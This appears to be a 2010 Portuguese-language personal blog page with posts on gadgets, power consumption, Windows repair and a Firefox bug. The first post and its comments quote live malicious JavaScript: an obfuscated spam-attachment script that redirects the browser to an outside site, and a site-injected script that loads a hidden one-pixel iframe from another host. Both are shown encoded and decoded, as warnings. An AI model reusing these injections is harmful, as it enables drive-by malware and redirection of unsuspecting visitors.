 Jefferson,  24 de setembro de 2010,  malware, spamHoje eu recebi duas mensagens muito estranhas, que passaram pelo filtro do Gmail, com um anexo em HTML. Visualizando o anexo no Google Docs parecia perfeitamente “seguro”, mas eu sabia que se tratava de alguma pilantragem. Salvei o anexo no HDD e dei uma olhada no código fonte.
Entre uma frase e outra visível, isso estava escondido:
<script>if(frames){if(top.frames.length>0)top.location.href=self.location;}</script><script language=JavaScript>document.write(unescape(‘%3Cme%74a h%74tp%2Deq%75iv%3D%22r%65fr%65sh%22 co%6Ete%6Et%3D%220%3B%75rl%3Dht%74p%3A%2F%2Fg%72ad%75at%69on%6Fut%66it%74er%73%2Ec%6F%2Ez%61%2F1%2Eht%6Dl%22 %2F%3E%0D%0A%3Ct%61bl%65 wi%64th%3D%221%300%25%22 bo%72de%72%3D%22%30%22%3E%3Ctr %62gc%6Flo%72%3D%22%2355%3668%38%22 a%6Cig%6E%3D%22%63en%74er%22%3E%3C%74d%3E%3Ca h%72ef%3D%22h%74tp%3A%2F%2F%77ww%2Epu%6Cls%6Fft%2Eco%6D%2Fh%74ml%70ow%65r%2E%68tm%22%3E%3C%66on%74 fa%63e%3D%22Ar%69al%2C He%6Cve%74ic%61%2C s%61ns%2Dse%72if%22 co%6Cor%3D%22#%46FF%46FF%22 si%7Ae%3D%22%2D1%22%3ET%68is %57eb %50ag%65 wa%73 pr%6Fte%63te%64 by %48TM%4CPo%77er%2C Cl%69ck %68er%65 to %52eg%69st%65r%3C%2Ffo%6Et%3E%3C%2Fa%3E%3C%2F%74d%3E%3C%2Ft%72%3E%3C%2Fta%62le%3E%0D%0A’))</script>
Eu não tive paciência para decodificar tudo, mas se você tiver alguma noção de caracteres de escape e olhar com cuidado após “unescape” verá que isso começa injetando no browser “<meta http equiv refresh…”
Ou seja, é pilantragem mesmo. Não sei ainda o objetivo, mas até clicar em arquivos html está perigoso.
Liked by: Henzo M. F. Gomes, Roberto Acioli
(Prefira clicar em "Responder" se estiver comentando um comentário)
Jefferson, 23 de setembro de 2010, energia, FaltamComentariosConsumo do receiver SONY STR-K660P ligado, com volume zerado : 27W. Com o PMM2010 antigo, de resolução 10W, eu havia medido 20W.
Eu estava usando o receiver como sistema de som do computador, ligado direto, até descobrir esse pequeno problema. Agora eu só ligo quando vou assistir a um filme.
Minhas caixas atuais consomem apenas 2W em "idle".
(Prefira clicar em "Responder" se estiver comentando um comentário)
Jefferson, 23 de setembro de 2010, energiaEu havia terminado de instalar o novo PMM2010 que tem resolução de 1W no meu quarto e achei o consumo de energia anormalmente alto para o quarto em “standby”. Sai desligando coisas procurando o culpado e encontrei.
O “módulo isolador” da Microsol consome 21W quando ligado, mesmo sem nada ligado nas tomadas! Esquecido ligado 24/7 isso dá R$7 por mês (R$84 por ano) de desperdício, porque eu só uso o módulo para alimentar minha impressora laser (que uso raramente) e minhas caixas acústicas.
Como o módulo estava instalado longe na bancada, eu não notei o quanto ele estava ficando quente. Era meu dinheiro sendo transformado em calor.
Por R$12 eu compro um transformador novo já enrolado para 220V para minhas caixas acústicas. Assim só preciso ligar o módulo quando absolutamente necessário.
Estou fazendo as contas com 1kwh = R$0,46
(Prefira clicar em "Responder" se estiver comentando um comentário)
Jefferson, 23 de setembro de 2010, dealextremeMini Pig 2 LEDs Flashlight White (3*LR1130 Included) ARON $0.78
http://www.dealextreme.com/details.dx/sku.1138
Eu comprei o porquinho para completar um pacote. Fiquei surpreso com a intensidade da luz.
Dei para a minha mãe, que achou uma fofura.
Minha irmã "achou" na mesa e "achando" que fosse uma lanterna débil, já ligou olhando direto para os LEDs. Se arrependeu 
   
(Prefira clicar em "Responder" se estiver comentando um comentário)
Jefferson, 23 de setembro de 2010, dealextremeUltra Bright 67-LED 4-Mode Headlamp $9.69 (128.7g)
http://www.dealextreme.com/details.dx/sku.8834
O primeiro modo usa apenas sete LEDs e já é perfeitamente usável, o segundo modo faz uma diferença considerável, mas o terceiro (que acende todos os LEDs) praticamente não faz diferença para o anterior.
No quarto, a lanterna pisca.
Estou testando com recarregáveis. Isso pode influenciar, já que talvez a lanterna espere 4,5V e estou alimentando com 3,6V.
Eu comprei para a maleta de ferramentas, mas achei exagerada. Tanto no tamanho quanto na potência. Eu não tenho que procurar peças no meio do mato
Vou comprar uma menor. É uma pena que todas as outras usem 3xAAA.
   
(Prefira clicar em "Responder" se estiver comentando um comentário)
Jefferson, 22 de setembro de 2010, hardwareUm cliente trouxe dos EUA um drive externo WD Passport SE de 1TB.
Uma coisa que eu não gostei: o cabo é USB mas a ponta no drive não é “comum”. Não sei onde se vende um cabo desses. Para piorar, o cabo tem apenas 40cm, então para conectar ao desktop que está embaixo da mesa ele vai ter que usar um hub USB.
Liked by: Guilherme Chaves de Campos
(Prefira clicar em "Responder" se estiver comentando um comentário)
Jefferson, 22 de setembro de 2010, FaltamComentariosFaz tempo que eu namoro a TV Samsung de 40″ do meu amigo José Carneiro. E ele mesmo andava tentando encontrar uma boa oferta para mim. Finalmente apareceu uma (R$1999 hoje):
http://www.insinuante.com.br/Produto/Eletronicos/TV-de-LCD/LCD-40-a-47/Samsung/TV-40-LCD-Full-HD-c-3-HDMI-Conversor-Integrado-Entrada-USB-e-PC-LN40C530-Samsung/
Eu já tentara comprar a TV duas vezes no Submarino, mas eles só aceitavam o “maledito” cartão deles Comprei pelo mesmo preço usando o meu VISA
(Prefira clicar em "Responder" se estiver comentando um comentário)
Jefferson, 22 de setembro de 2010, manutenção#manutenção
Após uma troca de placa-mãe e reinstalação do XP-SP3, notei imediatamente que o Windows estava estranhamente lento no boot. Depois de chegar à tela de login o LED do HDD continuava aceso como se houvesse atividade intensa. Após entrar com a senha o Windows dava boot de forma estranhamente lenta para um dual core com 2GB de RAM. O boot estava levando mais de 1min30s. E eu esperava menos.
Desconfiei do drive de CDROM conectado como escravo ao HDD (tudo IDE) e o removi. Mesmo problema.
Suspeitando quae a falta dos drivers para o chipset estivesse deixando o HDD em um modo lento, conectei um drive SATA (nada mudou) e fui instalar os drivers da placa mãe. Quando rodei o instalador da Gigabyte, apareceu uma página em branco. Foi aí que eu lembrei que não havia ainda reinstalado o IE. Com a instalação do XP SP3 é instalado o IE6, bagunçando qualquer instalação de outra versão do IE. E o instalador da gigabyte sempre me pareceu baseado em HTML.
Instalei o IE8. Problema resolvido.
O LED do HDD passou a apagar logo depois de chegar a tela de logon. E o boot passou a levar 1min.
Por que o IE8 bagunçado causa uma atividade frenética do HDD durante o boot? Não me pergunte
Depois disso eu comecei a instalar os drivers. Como eu esperava, a reinstalação do IE consertou o instalador da Gigabyte.
(Prefira clicar em "Responder" se estiver comentando um comentário)
Jefferson, 21 de setembro de 2010, FirefoxJá há muito tempo, desde que eu criei duas instalações do WordPress no meu site, eu descobri que o o "Gerenciador de Senhas" do Firefox é incapaz de diferenciar entre elas.
Por exemplo, se eu fizer login em
https://ryan.com.br/wp/
e salvar a senha, quando eu tentar fazer login em
https://ryan.com.br/blogs/jeff/
O Gerenciador de Senhas preenche com as credenciais erradas.
Só hoje eu decidi pesquisar a razão disso. Encontrei a página do bugzilla onde se discute esse problema e, para minha decepção, o problema é conhecido desde 2008 e os desenvolvedores declararam que não vão resolver isso (status: resolved *wontfix*).
https://bugzilla.mozilla.org/show_bug.cgi?id=263387
(Prefira clicar em "Responder" se estiver comentando um comentário)
Jefferson, 21 de setembro de 2010, news, opinião, Recife #opinião
Hoje eu fiquei preso na BR232 por uma hora por causa deste protesto:
http://jc.uol.com.br/canal/cotidiano/grande-recife/noticia/2010/09/20/protesto-na-br232-complica-transito-nesta-segunda-237017.php
Há muito tempo eu não ficava em uma arapuca dessas. Não é que o trânsito estivesse lento. Estava parado mesmo. E isso não é comum aqui em Recife.
Agora, eu não entendo por que a reportagem diz que a comunidade desalojada fica em Jardim São Paulo. O Hospital está sendo construído no Curado e precisaria ser simplesmente IMENSO para chegar até Jardim São Paulo. E olhando no Google Earth dá para ver claramente que tudo se situa bem para o lado do Curado. A imagem atual mostra a construção ainda na fase de terraplenagem
Essa área da construção do hospital, pelo menos a parte visível a partir da BR232, começou a ser invadida pouco depois que foi anunciada a construção. Eu passo constantemente pelo local e me espantei com o número de casas de alvenaria que apareceram "de repente" no local. Foi engraçado, porque de repente eu olhei e pensei "de onde vieram essas casas todas?!" Para mim esse pessoal protestando é composto em grande parte por pilantras.
Invadir já esperando para pedir indenização virou "negócio" aqui em Recife.
(Prefira clicar em "Responder" se estiver comentando um comentário)
|
|
Descobri como "ler" o que está escrito aí sem esforço. Basta colar o texto de unescape nesta página:
http://www.linkedresources.com/tools/unescaper_v0.2b1.html
E clicar em unescape. O resultado é este (não clique nos links!):
<meta http-equiv="refresh" content="0;url=http://graduationoutfitters.co.za/1.html" />
<table width="100%" border="0"><tr bgcolor="#556688" align="center"><td><a href="http://www.pullsoft.com/htmlpower.htm"><font face="Arial, Helvetica, sans-serif" color="#FFFFFF" size="-1">This Web Page was protected by HTMLPower, Click here to Register</font></a></td></tr></table>
O engraçado é que tudo dentro de <table> </table> parece ter sido inserido por acidente. Script-kiddie em ação?
Fazer seu browser dar um refresh e abrir "graduationoutfitters.co.za" (não clique!) é que é a parte perigosa da coisa.
eu recebi um email do google ferramentas para webmaster que um site meu bem antigo tinha sido infectado, e o código também estava desse jeito, veja:
<script>eval(unescape('%64%6F%63%75%6D%65%6E%74%2E%77%72%69%74%65%28%27%3C%69%66%72%61%6D%65%20%73%72%63%3D%22%68%74%74%70%3A%2F%2F%70%6F%64%66%65%72%2E%63%6F%6D%2F%3F%35%35%35%33%34%33%22%20%77%69%64%74%68%3D%31%20%68%65%69%67%68%74%3D%31%3E%3C%2F%69%66%72%61%6D%65%3E%27%29'));</script>
descriptografando fica assim:
<script>eval(unescape('document.write('<iframe src="http://podfer.com/?555343" width=1 height=1></iframe>')'));</script>
como ja foi dito: NÃO CLIQUEM NOS LINKS ^^